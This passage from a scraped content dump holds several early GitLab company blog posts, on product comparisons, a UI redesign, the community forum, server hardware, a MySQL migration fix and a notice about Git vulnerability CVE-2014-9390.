renewal was due within the month - decided to offer their vote of confidence and upgrade to the standard subscription.\n\n## Why the good vibes?\n\nIn both cases we followed the same course of action:\n - be open about the mistake;\n - take swift action to solve the issue;\n - identify what caused the problem;\n - improve internal processes in light of our findings;\n - inform the customer / user about the process improvements.\n\nWhat the above does not highlight though, is one other point we're abiding to: being disciplined about our process.\nAfter failure, make sure to review the faulty process and revise it. Iterate.\n",{"slug":40173,"featured":6,"template":678},"how-to-turn-screw-ups-to-your-advantage","content:en-us:blog:how-to-turn-screw-ups-to-your-advantage.yml","How To Turn Screw Ups To Your Advantage","en-us/blog/how-to-turn-screw-ups-to-your-advantage.yml","en-us/blog/how-to-turn-screw-ups-to-your-advantage",{"_path":40179,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40180,"content":40186,"config":40190,"_id":40192,"_type":16,"title":40193,"_source":17,"_file":40194,"_stem":40195,"_extension":20},"/en-us/blog/github-enterprise-vs-gitlab-enterprise-edition",{"title":40181,"description":40182,"ogTitle":40181,"ogDescription":40182,"noIndex":6,"ogImage":40183,"ogUrl":40184,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40184,"schema":40185},"GitHub Enterprise vs GitLab Enterprise Edition","In this post we discuss the advantages of running GitLab Enterprise Edition, our paid version of GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683801/Blog/Hero%20Images/city_highway_at_night.jpg","https://about.gitlab.com/blog/github-enterprise-vs-gitlab-enterprise-edition","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitHub Enterprise vs GitLab Enterprise Edition\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-01-20\",\n      }",{"title":40181,"description":40182,"authors":40187,"heroImage":40183,"date":40188,"body":40189,"category":8943},[711],"2015-01-20","We get asked a lot how GitLab compares to GitHub Enterprise Edition, the version of GitHub that you can run on your own servers.\nIn this post we'll briefly discuss what we see as the advantages of running GitLab Enterprise Edition, our paid version of GitLab.\nThe three main advantages are that GitLab focuses on enterprise needs, is easier to operate and scale and it is more inclusive.\n\n\u003C!-- more -->\n\n## Focuses on enterprise needs\n\nGitLab was created as a tool for larger organizations from the start.\nWe want to keep it as simple as possible but not simpler.\nYou should be able to participate in issues without getting read access to the repository.\nSome branches are more important than feature branches and should be [protected against force pushes](/blog/keeping-your-code-protected/).\nAnd if you want to rebase your branches on master just before merging this should be possible from the UI.\n\nKeeping the permissions up to date is a constant struggle in larger organizations.\nThat is why GitLab allows you to synchronize groups with your LDAP server.\nAnd collaboration is a much harder problem when working across organizational boundaries.\nTo enable this 'inner-sourcing' GitLab has internally visible projects that are visible to all signed in users.\n\n## Easier to operate and scale\n\nGitLab was developed to run on your own server from the start.\nIt's architecture is simple but powerful.\nIt is easy to change where repositories are stored so you can store them on a separate fileserver (NFS) or network attached storage (NAS).\nGitLab allows you to modify it to your needs.\nFor example, you can install a different type of web-server.\nThe application server is stateless, allowing you to run multiple active servers.\nThis makes scaling and high availability much easier to handle.\n\nAt the same time this simple and powerful architecture also enables good performance.\nOne server can handle 25,000 active users, the best performance in the industry.\nIt can run on virtualized hardware but you can also run it directly on metal.\n\nIf you want to make changes to GitLab, the Enterprise Edition license allows this.\nBut you'll find that we're very happy to accept contributions and merge your changes upstream if they make life better for everyone.\n\n## More inclusive\n\nGitLab is an open source project with more than 700 contributors that share their improvements.\nThere are more that 100,000 organizations running it of which some sponsor new features.\nThis allows us to keep the cost of GitLab Enterprise Edition very low.\nGitLab Enterprise Edition is great value for money for a tool that includes git hosting, code review, issue tracking, wiki's and [continuous integration](/solutions/continuous-integration/).\n\nBecause of its great value and easy scalability, you can open up your GitLab instance to everyone in your organisation that needs it.\nSince software is eating the world the people that are involved with software projects are no longer only developers.\nStakeholders in projects need access to the issue tracker and end-users want access to the wiki.\nWith GitHub Enterprise the pricing causes some organizations to limit access to developers.\nWith the affordable pricing made possible by open source, GitLab Enterprise Edition allows collaboration across function groups.\n\n## Conclusion\n\nWe hope the above gives a good overview of the differences between GitHub Enteprise and GitLab Enterprise Edition.\nIf you have any comments, questions or additions feel free to leave them in the comments below or email me at sytse@gitlab.com",{"slug":40191,"featured":6,"template":678},"github-enterprise-vs-gitlab-enterprise-edition","content:en-us:blog:github-enterprise-vs-gitlab-enterprise-edition.yml","Github Enterprise Vs Gitlab Enterprise Edition","en-us/blog/github-enterprise-vs-gitlab-enterprise-edition.yml","en-us/blog/github-enterprise-vs-gitlab-enterprise-edition",{"_path":40197,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40198,"content":40204,"config":40209,"_id":40211,"_type":16,"title":40212,"_source":17,"_file":40213,"_stem":40214,"_extension":20},"/en-us/blog/pragmatic-redesign-for-gitlab",{"title":40199,"description":40200,"ogTitle":40199,"ogDescription":40200,"noIndex":6,"ogImage":40201,"ogUrl":40202,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40202,"schema":40203},"Pragmatic Redesign for GitLab","In this post, we'll show you why we're changingthe the GitLab 7.7 user interface, how we did it and what the end result is.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684299/Blog/Hero%20Images/big.png","https://about.gitlab.com/blog/pragmatic-redesign-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pragmatic Redesign for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy, Job\"}],\n        \"datePublished\": \"2015-01-16\",\n      }",{"title":40199,"description":40200,"authors":40205,"heroImage":40201,"date":40207,"body":40208,"category":6634},[40206],"Dmitriy, Job","2015-01-16","\n\nWe have some big UI changes coming with the release of GitLab 7.7, on January 22nd.\nIn this post, we'll show you _why_ we're changing the user interface, _how_ we did it and _what_ we ended up with.\n\n\u003C!-- more -->\n\n## Redesign to Solve Problems\n\nChanges to the interface are always stressful. So you shouldn't even start to redesign without a list of issues you intent to solve. This way, your users get compensated for the changes with improved usability.\n\nThere are several problems with the current UI of GitLab and it was hard to fix them without making big changes.\nThis is the list of issues we started with:\n\n- Limited space in project navigation. We can't fit all items with counters\n- Two stacked levels of navigation is expensive in screen real estate\n- All navigation is on top. It's annoying to have to scroll up to navigate\n- No space for icons. We love icons!\n- Settings pages add a third level of navigation, which is too complex.\n\n__What it looked like:__\n\n![old screenshot](https://about.gitlab.com/images/redesign/old.png)\n\n\n## Prototype\n\nWe set a simple goal: Maximize improvements with minimal changes. To do this, we started with the existing UI, rather than a blank page.\n\nInstead of Photoshop, we turned to the web inspector in the browser to prototype. Make some changes, screenshot, repeat. Dmitriy noted: \"This reminds of playing old-school video games, where you have to start over with every death.\"\n\nAfter a day of prototyping, we piled up quite some screenshots. We immediately threw away a large part and let the rest sink in.\n\nA few days later, the winner was obvious.\n\n__The winning prototype__\n\n![concept screenshot](https://about.gitlab.com/images/redesign/winner.png)\n\n\n## Get Feedback\n\nChanging the UI is uncomfortable for the end-users.\nYou need time to adapt to the changes.\n\nFor this reason, people often get upset about a redesign.\nEven if your redesign is much better.\n\nWe wanted to brace our community and ourselves for this,\nso we started with a tweet\n\n![tweet with screenshot](https://about.gitlab.com/images/redesign/tweet.png)\n\nWe got lots of great advice and most people seemed to like our idea.\nThe next steps were clear.\n\nWe implemented, improved and polished the design.\nAs we build with and on our community, we couldn't wait to share it.\nWe set up a staging server with the new changes.\nThis way, everyone could try the redesign even before it landed in master.\n\nWorking with an open source product allows us to work with our (awesome) community.\nContributors started submitting merge requests with improvements to our redesign.\nThis was a great sign.\n\n## Evaluate\n\nAt start of this post we described problems we want to solve with redesign.\nAnd during work its important to remember the goal.\nSo we just listed each problem was solved by new layout:\n\nWe started with a list of issues we wanted to solve with the redesign. Focus is important, so we went back and made sure we checked all boxes:\n\n- Limited space in project navigation: fixed by moving it to the side.\n- This also gives us more vertical screen real estate\n-We fixed the navigation, so no more scrolling!\n- Better use of icons! We even introduced a responsive state, where on only the icons are shown.\n- We got rid of the third level of navigation\n\n![desktop screenshot](https://about.gitlab.com/images/redesign/final3.png)\n\n## Finish up\n\nWith the support of the community, we started to build on top of the redesign.  \nWe changed the layout of several pages to make use of the extra space\nand applied another layer of polish.\nWith everything aligned and fixed, we were done.\n\nWe're really excited about the process of redesigning the navigation.\nThe cooperation with the community and implementation of their feedback was invaluable.\nWe hope you'll love it too.\n\nThe new navigation will be released with GitLab 7.7 on January 22nd.\nIf you want to give it a try now, head over to [GitLab.com](https://gitlab.com/users/sign_up),\nas the changes are already live there!\n\n![desktop screenshot](https://about.gitlab.com/images/redesign/final1.png)\n\n![desktop screenshot](https://about.gitlab.com/images/redesign/final2.png)\n\n![mobile screenshot](https://about.gitlab.com/images/redesign/final_mobile.png)\n",{"slug":40210,"featured":6,"template":678},"pragmatic-redesign-for-gitlab","content:en-us:blog:pragmatic-redesign-for-gitlab.yml","Pragmatic Redesign For Gitlab","en-us/blog/pragmatic-redesign-for-gitlab.yml","en-us/blog/pragmatic-redesign-for-gitlab",{"_path":40216,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40217,"content":40223,"config":40227,"_id":40229,"_type":16,"title":40230,"_source":17,"_file":40231,"_stem":40232,"_extension":20},"/en-us/blog/gitlab-community-forum",{"title":40218,"description":40219,"ogTitle":40218,"ogDescription":40219,"noIndex":6,"ogImage":40220,"ogUrl":40221,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40221,"schema":40222},"GitLab Community Forum","View the GitLab forum. More and more people interact within the community as GitLab grows, new contributors appear every day. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684289/Blog/Hero%20Images/community.png","https://about.gitlab.com/blog/gitlab-community-forum","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Community Forum\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2015-01-12\",\n      }",{"title":40218,"description":40219,"authors":40224,"heroImage":40220,"date":40225,"body":40226,"category":299},[35789],"2015-01-12","\n\nGitLab is growing fast. Day by day, more and more people interact with it.\nOver the past two years, the community around GitLab has thrived and new\ncontributors appear every day.\n\nAlthough there are a lot of ways to [communicate][help] with each other, we\nlack a central place to discuss, without relying on third party applications.\n\nToday we present you the [GitLab Community Forum][forum]. A new home to share,\nask and discuss everything related to GitLab!\n\n\u003C!-- more -->\n\nThe forum is run by community members whereas the hosting is gracefully donated\nby GitLab B.V.. Remember that this is _not_ the place to expect any professional\n[help][] by GitLab developers, but to interact with the rest of the community.\n\n## The platform\n\nThe platform that the forum is built on, is the well known open source project\n[Discourse][], a Rails + Emberjs application. It is a powerful app that is\nused by many other communities, like Docker, Twitter, NewRelic and Mozilla.\n\nFor the moment, you can sign up with a new account or use\n[Mozilla persona][persona] to sign in. In the future more OAuth providers will\nbe supported, including gitlab.com which comes in GitLab 7.7.\n\n### Features\n\nDiscourse has this nice feature to use topics as wikis. As such, we migrated\nthe troubleshooting public wiki from [GitHub][] to [this topic][discoursetr].\nAny registered member can edit it and add new troubleshooting tips. Having this\nguide in the forum gives us the power to leave replies under that topic and\ndiscuss possible additions/deletions.\n\nThe search function is also very powerful. Μake sure to use it any time you\nhave a question or stumbled upon something; someone else might already have\nposted the solution. For example, searching for `reset admin`, reveals that\nthere is a reference in the Troubleshooting wiki.\n\n[![screenshot](https://about.gitlab.com/images/forum/forum_search_admin.png)](/images/forum/forum_search_admin.png)\n\n## Forum structure\n\nFor better organization, we have added some [categories][] which you can choose\nfrom when starting a topic. If you feel your post falls under a category that\ndoesn't exist yet, you can report it [here][catreport].\n\nWhen posting, you can use either bbcode or the well known markdown to format\nyour reply.\n\nIf you wrote a blog post about GitLab or found out an interesting tutorial that\nhelped you and you think it might help others, do share it in the [HowTo][]\ncategory. Did you know that you can install GitLab on [macOS][] or [FreeBSD][]\nor even [Windows][]?\nThe HowTo section can also include little tips, like how to give admin access\nto a person via the Rails console.\n\nThe [Use Cases][] category sums up success stories of versatile setups.\nIt is always interesting to read how GitLab is deployed and used in enterprise\nenvironments.\n\nManually updating, deploying or even building GitLab can be a tedious task. For\nthose who are passionate about configuration management setups,we have created\nthe [Configuration Management][] section.\n\nIf you just began learning Ruby on Rails or any other technologies that come\nwith GitLab and want to get your hands dirty, head over the [Development][]\nsection and open a topic. A good start is to search through the\n[feature request tracker][features], find something you would like to\nimplement and work on that. The GitLab community has some prominent and\nexperienced developers that can help you get started.\n\nIf you have made a fan art about GitLab, share it in the [Fan art][] category.\n\nWe also have an [ARM devices][armcat] category for any relevant information\nabout GitLab running on small devices.\n\n",{"slug":40228,"featured":6,"template":678},"gitlab-community-forum","content:en-us:blog:gitlab-community-forum.yml","Gitlab Community Forum","en-us/blog/gitlab-community-forum.yml","en-us/blog/gitlab-community-forum",{"_path":40234,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40235,"content":40241,"config":40246,"_id":40248,"_type":16,"title":40249,"_source":17,"_file":40250,"_stem":40251,"_extension":20},"/en-us/blog/writing-the-gitlab-book-part-1",{"title":40236,"description":40237,"ogTitle":40236,"ogDescription":40237,"noIndex":6,"ogImage":40238,"ogUrl":40239,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40239,"schema":40240},"Writing the GitLab book: part 1","Join me in this series of blog articles which explore the process of me writing a book about GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684280/Blog/Hero%20Images/writing.jpg","https://about.gitlab.com/blog/writing-the-gitlab-book-part-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Writing the GitLab book: part 1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeroen van Baarsen\"}],\n        \"datePublished\": \"2015-01-05\",\n      }",{"title":40236,"description":40237,"authors":40242,"heroImage":40238,"date":40244,"body":40245,"category":6634},[40243],"Jeroen van Baarsen","2015-01-05","\nThis is a series of blog articles about the process of me writing a book about\nGitLab. It will contain information about the process with the publisher, about\nthe different state of minds I went through, and how it feels to actually finish\nthis thing!\n\n\u003C!-- more -->\n\n## Part 1: The preparation\nWhen I received an email from Vinay - an editor for\n[PacktPub.com](http://www.packtpub.com) - with the question if I wanted to write\na book about GitLab, I really thought he was crazy. I'm a developer, not a writer!\nEven though I believed the idea was nuts,\nI presented it to my girlfriend, at first she thought I was kidding, but after\nshe realized I was serious she started to support me right away, and began to\npush to actually do this.\n\nAfter a week or so I decided to actually go ahead and start writing this book!\nIn this blog post I want to explain the process I went through, and what help I got\nfrom the publisher. From starting the chapter outline, to the day the book was\nreleased.\n\nThe book I was going to write was one of the Cookbook series of packtpub.com,\nit's a book with all kind of small things you can do with the subject of the\nbook, in this case GitLab. I had to write it in a way that the reader can\nfollow along, so with steps how to achieve the goal, and with an explanation\nof what the reader has done and how it works.\n\nThe first step was to come up with a Chapter Outline. In this outline I had to\nwrite what chapters I was going to submit, and with what \"recipes\". I came up\nwith the following outline:\n\n1. Introduction and Installation\n2. Explaining Git\n3. Managing users, groups and permissions\n4. Issue tracker and Wiki\n5. Maintaining your GitLab instance\n6. Webhooks, external services and the API\n7. Using LDAP and omniauth providers\n8. GitLab CI\n9. Appendix\n\nThis was accepted by the editor, but with a footnote that I had the freedom to\nchange things around if I felt the need to do so. The next step was to estimate\nthe page count, that's a hard thing to do! Since I did not really know what I\nwanted to write about, how was I suppose to know how many pages it would cover!\nAfter discussing this with my editor he really helped me to figure out this\nthings.\n\nAfter all the above was accepted we had to sign the contract since the book was\naccepted for writing, this was all done true a service called\n[Signable](http://www.signable.co.uk/), if you\never have legal documents to sign remotely, this is a great service to do so! I\nrecommend it!\n\nIn the next part I'll cover the preparations for the actual writing, and the\nwriting itself.\n\n[Go ahead and buy the\nbook!](https://www.packtpub.com/application-development/gitlab-cookbook)\n",{"slug":40247,"featured":6,"template":678},"writing-the-gitlab-book-part-1","content:en-us:blog:writing-the-gitlab-book-part-1.yml","Writing The Gitlab Book Part 1","en-us/blog/writing-the-gitlab-book-part-1.yml","en-us/blog/writing-the-gitlab-book-part-1",{"_path":40253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40254,"content":40260,"config":40264,"_id":40266,"_type":16,"title":40267,"_source":17,"_file":40268,"_stem":40269,"_extension":20},"/en-us/blog/the-hardware-that-powers-100k-git-repos",{"title":40255,"description":40256,"ogTitle":40255,"ogDescription":40256,"noIndex":6,"ogImage":40257,"ogUrl":40258,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40258,"schema":40259},"The hardware that powers 100,000 git repositories","Want to host your public and private repositories somewhere for free? You can on GitLab.com. Learn more here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684271/Blog/Hero%20Images/hardware.jpg","https://about.gitlab.com/blog/the-hardware-that-powers-100k-git-repos","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The hardware that powers 100,000 git repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-01-03\",\n      }",{"title":40255,"description":40256,"authors":40261,"heroImage":40257,"date":40262,"body":40263,"category":299},[36660],"2015-01-03","\n\nWant to host your public and private repositories somewhere for free?\nYou can on GitLab.com, where we have been hosting a single instance of GitLab for a while now.\nAlmost 20,000 people make active use of this to host their\nrepositories. The 100,000+ repositories that these people use are served by a single server.\n\n\u003C!-- more -->\n\n## A single server\n\nBefore, GitLab.com was hosted on Amazon's largest instance.\nBut as the amount of users grew, so did our Amazon bill.\nOn top of that, we were limited in options of vertical scaling and were CPU bound.\nWe had to explore alternatives to AWS.\n\n100k repositories take up several terabytes, so storage capabilities are important.\nSince we use git, the storage needs to be a single filesystem,\nrather than object storage (such as S3).\nWe want to be able to expand storage with ease.\nFurthermore, thousands of people pushing and pulling their code will put a strain on the CPU.\nHaving many CPU cores available can make a big differences in times of high load.\n\nIt turns out that using our own servers was by far the cheapest option.\nConsidering we're bootstrapping GitLab\nand as cheap Dutchmen (Sytse, Jacob, Job), this made the choice easy.\n\n![htop on GitLab server](https://about.gitlab.com/images/stock/htop.png)\n\nAnd so,  we currently have two (one active) of these servers running GitLab.com:\n\n- server model: HP DL180 G6 (reconditioned, this model was introduced in 2009)\n- processors: 2x X5690 (24 cores in total)\n- 32GB RAM\n- 12x 2TB HDDs, (2 for root volume in RAID 1, 10 for storage in RAID 10, ext4 filesystem)\n\nWe actually started with a total of 16 cores,\nbut replaced the CPUs to decrease CPU-bound loading.\n\n## Falling and Failing over\n\nMoving away from Amazon meant that we no longer could use AWS' features.\nIn case a server dies, we need to be able to failover.\n\nWe used DRBD to create one primary and one slave server.\nOne of the servers is active as application server at a time.\nIf something goes wrong, we tell DRBD to promote the other server to primary.\n\nOur DRBD tooling that we've built for this is made available to our\n[subscribers](/pricing/).\n\n## Scaling further\n\nGitLab.com runs well on its current hardware, but is growing ever faster.\nExpanding the current hardware would be expensive and parts are not easy to get by.\n\nIn the future, GitLab.com will be hosted on Amazon AWS again.\nThis will allow us to scale horizontally more easily.\nOn top of this, Amazon recently announced 10+TB EBS volumes, which will make migrating easy.\n",{"slug":40265,"featured":6,"template":678},"the-hardware-that-powers-100k-git-repos","content:en-us:blog:the-hardware-that-powers-100k-git-repos.yml","The Hardware That Powers 100k Git Repos","en-us/blog/the-hardware-that-powers-100k-git-repos.yml","en-us/blog/the-hardware-that-powers-100k-git-repos",{"_path":40271,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40272,"content":40277,"config":40281,"_id":40283,"_type":16,"title":40284,"_source":17,"_file":40285,"_stem":40286,"_extension":20},"/en-us/blog/gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql",{"title":40273,"description":40274,"ogTitle":40273,"ogDescription":40274,"noIndex":6,"ogImage":12013,"ogUrl":40275,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40275,"schema":40276},"GitLab got bit: MySQL fails at Rails migrations that work in PostgreSQL","One day after releasing GitLab 7.6 we had to release a patch. This is how we got bit by a failing migration and why it was our own fault.","https://about.gitlab.com/blog/gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab got bit: MySQL fails at Rails migrations that work in PostgreSQL\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2014-12-30\",\n      }",{"title":40273,"description":40274,"authors":40278,"heroImage":12013,"date":40279,"body":40280,"category":299},[36660],"2014-12-30","\n\nOne day after releasing GitLab 7.6 we had to release a patch. This is how we\ngot bit by a failing migration and why it was our own fault.\n\n\u003C!-- more -->\n\n## What happened\n\nGitLab supports two databases: MySQL and PostgreSQL.\n\nTo update our database models for identities in GitLab, we wanted to remove two columns from the `users` table: `extern_uid` and `provider`. These had a composite index, so that uniqueness was checked for any combination of `extern_uid + provider`.\n\n```\nadd_index :users, [:extern_uid, :provider]\n```\n\nSo to remove the columns, we wrote a simple migration:\n\n```\ndef up\n  remove_column :users, :extern_uid\n  remove_column :users, :provider\nend\n```\n\nRun the migration on PostgreSQL and it works without a hitch. Try to run it on MySQL and:\n\n```\nMysql2::Error: Duplicate entry 'example' for key 'index_users_on_extern_uid_and_provider': ALTER TABLE `users` DROP `extern_uid`\n```\n\nIt seems that when removing the `extern_uid` column, MySQL decided to rebuild the index using only the `provider` column, creating duplicate indices (which is not allowed).\n\n\n## How we fixed it\n\nTo fix this, all we had to do is check whether the index exists and remove it if it does.\n\n```\ndef up\n  if index_exists?(:users, [:extern_uid, :provider])\n    remove_index :users, [:extern_uid, :provider]\n  end\n\n  remove_column :users, :extern_uid\n  remove_column :users, :provider\nend\n```\n\nWe quickly released [a new GitLab version](/releases/2014/12/23/gitlab-7-6-1-released/)\nthat included the new migration.\n\n\n## Why we'll _probably_ not repeat this mistake\n\nSo how did we miss such a simple mistake? GitLab has a pretty hefty test-suite that tests almost every line of code. On top of that, we do [QA testing](http://doc.gitlab.com/ee/release/monthly.html#workdays-before-release",{"slug":40282,"featured":6,"template":678},"gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql","content:en-us:blog:gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql.yml","Gitlab Got Bit Mysql Fails At Rails Migrations That Work In Postgresql","en-us/blog/gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql.yml","en-us/blog/gitlab-got-bit-mysql-fails-at-rails-migrations-that-work-in-postgresql",{"_path":40288,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40289,"content":40294,"config":40298,"_id":40300,"_type":16,"title":40301,"_source":17,"_file":40302,"_stem":40303,"_extension":20},"/en-us/blog/gitlab-not-affected-by-cve-2014-9390-git-vulnerability",{"title":40290,"description":40291,"ogTitle":40290,"ogDescription":40291,"noIndex":6,"ogImage":12013,"ogUrl":40292,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40292,"schema":40293},"GitLab not affected by Git vulnerability CVE-2014-9390","GitLab.com, GitLab Community Edition and Enterprise Edition are not directly affected by Git vulnerability CVE-2014-9390.","https://about.gitlab.com/blog/gitlab-not-affected-by-cve-2014-9390-git-vulnerability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab not affected by Git vulnerability CVE-2014-9390\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2014-12-19\",\n      }",{"title":40290,"description":40291,"authors":40295,"heroImage":12013,"date":40296,"body":40297,"category":299},[38543],"2014-12-19","\n\nA critical Git security [vulnerability](http://article.gmane.org/gmane.linux.kernel/1853266) was announced yesterday, that\naffects all versions of the official Git client. Since this is a client-side only vulnerability, **GitLab.com**, **GitLab\nCommunity Edition** and **GitLab Enterprise Edition** are not directly affected.\n\nThe vulnerability is present on Git and Git-compatible clients that access Git repositories from a case-insensitive or\ncase-normalizing filesystem. An attacker can create a malicious Git tree that will cause the `.git/config` directory to be\noverwritten when cloning or checking out a repository. This enables the attacker to execute arbitrary commands in the\nclient's machine. Git clients running on macOS (HFS+ if not formatted as case-sensitive) or any version of Microsoft\nWindows (NTFS, FAT) are exploitable through this vulnerability. Linux clients running in a case-sensitive filesystem\nare not affected.\n\nWe **strongly** recommend our users to update their Git clients as soon as possible and to be cautious when cloning repositories\nfrom untrusted sources.\n\nThe following updated versions of Git address this vulnerability:\n\n- The Git core team has announced [maintenance releases](https://www.kernel.org/pub/software/scm/git/) for all current\nversions of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).\n\n- These major Git libraries, [libgit2](https://github.com/libgit2/libgit2/) and [JGit](https://eclipse.org/jgit/),\nhave released maintenance versions with the fix as well.\n\nPlease contact us at [support.gitlab.com](https://support.gitlab.com/)if you have any questions about this issue.\n\n## About GitLab\n\nYou can try GitLab by [downloading](/install/) the Community Edition and installing it on your\nown server or by signing up to our free, unlimited GitLab instance [GitLab.com](https://gitlab.com/users/sign_up).\n\nCheck out [GitLab Enterprise Edition](/pricing/feature-comparison/) for deep LDAP integration, git hooks,\nJenkins integration and many more powerful enterprise features.\n",{"slug":40299,"featured":6,"template":678},"gitlab-not-affected-by-cve-2014-9390-git-vulnerability","content:en-us:blog:gitlab-not-affected-by-cve-2014-9390-git-vulnerability.yml","Gitlab Not Affected By Cve 2014 9390 Git Vulnerability","en-us/blog/gitlab-not-affected-by-cve-2014-9390-git-vulnerability.yml","en-us/blog/gitlab-not-affected-by-cve-2014-9390-git-vulnerability",{"_path":40305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":40306,"content":40311,"config":40315,"_id":40317,"_type":16,"title":40318,"_source":17,"_file":40319,"_stem":40320,"_extension":20},"/en-us/blog/my-first-months-at-gitlab-bv",{"title":40307,"description":40308,"ogTitle":40307,"ogDescription":40308,"noIndex":6,"ogImage":12013,"ogUrl":40309,"ogSiteName":1180,"ogType":1181,"canonicalUrls":40309,"schema":40310},"My first months at GitLab B.V.","I would like to share with you how I got here and how this time has affected my view on a lot of different subjects.","https://about.gitlab.com/blog/my-first-months-at-gitlab-bv","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My first months at GitLab B.V.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patricio Cano\"}],\n        \"datePublished\": \"2014-12-18\",\n      }",{"title":40307,"description":40308,"authors":40312,"heroImage":12013,"date":40313,"body":40314,"category":6634},[38543],"2014-12-18","\n\nI started working at GitLab B.V. in October of this year, making this my third month with the company. Working here has\nbeen the best professional experience I've had so far, and I would like to share with you how I got here and how this time\nhas affected my view on a lot of different subjects.\n\n\u003C!-- more -->\n\nThe journey to today started back in late September. I had just finished working on project that a Mexican company hired\nme to do remotely and I was looking for my next challenge. A couple of days passed and I decided to update the GitLab\ninstallation that I use for personal projects. When I visited GitLab's home page, I saw a completely new design. The\nsimplicity and usability caught my eye, so I started exploring the website. A few clicks later I landed on the jobs page.\n\nLooking through their openings I saw one that spoke to me. _Service Engineer_. It really caught my attention that\nthey were looking for someone to work remotely from North or South America. At this point I said to myself: _Self, you\nare in South America! You should apply to this job._\n\nWithout thinking twice, I gathered my resume and sent it to [Sytse](https://twitter.com/sytses) (Our CEO).\n\nThis is where the most exciting part started. I wasn't hoping for such a quick response, but Sytse answered my email within\n2 days and, within 3, I was already talking to him. I never knew a job interview could be such a pleasant experience. We\nstarted talking about the regular stuff, _What working experience do you have?_, _Where did you study?_, _What did you\nstudy?_, etc. After we got these formalities done, we started talking about what goals I have and how they would line up\nwith the company's goals. This is where I think fate intervened, our goals and core values lined up.\n\n> Quick recap of GitLab B.V.'s core values:\n\n>\n- Open Source is always important (Try to work out in the open and radiate your knowledge to the rest of the community)\n- People and their happiness are a top priority\n- Responsibility and Accountability are paramount (There is no boss breathing down your neck every few hours)\n- Freedom of schedule\n\nI was in a place where I wanted to learn as much as I could; to work for a young and fast moving company and I also wanted to\ncontribute to an open source project. GitLab B.V. could offer me these and much more, so it was a no-brainer to accept\nthe offer. So, within two weeks I started working for one of the greatest open source companies out there.\n\n\n## Meeting the team\n\nBefore I started to officially work with GitLab B.V., Sytse invited me to join one of the daily team calls. It was on a\nThursday. I remember it clearly, because I was very nervous. My fears were quickly allayed, though. The team was very welcoming\nand everyone spoke with such a laid back tone that I quickly felt comfortable.\n\nAfter meeting with them via Google Hangouts every day and talking about our days, sometimes also joking around, you actually\nget to know a lot about them, even though you only see them via a webcam. We have had a lot of funny experiences through\nthis medium, like dogs showing up on camera (Job's and recently the little dog I adopted), Haydn joining from the front\nporch of a house right before dawn while in Hawaii (we could even see the sunrise), or Sytse joining from a youth hostel\nwhile in California.\n\n\u003Cimg src=\"/images/team_on_webcam.png\" style=\"float: right; margin-left: 5px;\">\n\nDespite the limitations of only meeting them through a webcam, every single member of the team has made me feel appreciated\nand welcomed and they have always helped me whenever I needed it.\n\nThat is why I'm really looking forward to meeting them soon. We are going to spend a couple of months together working to\nimprove the company and the GitLab project. This meeting is happening at the beginning of next year in San Francisco, where\nHaydn is located.\n\n\n## The actual work\n\nDuring the first days as a Service Engineer, [Job](https://twitter.com/Jobvo) helped me a lot. He guided me through the\nsteps required to solve a ticket posted by a client and showed me the ins and outs of the work. Since we are separated\nby 6 time zones, meaning we have a small time frame when we could actually work together, we decided to set a time\neveryday to discuss all the important issues and to give each other feedback on the work I was delivering.\n\nAfter some guidance and pointers I started working by myself. It seemed like a daunting task at first, specially because\nGitLab B.V. has Fortune 500 companies as clients, but after talking with the people behind these companies I learned\nthey are just regular people. It became evident that I was just helping people to solve problems. It didn't matter if I 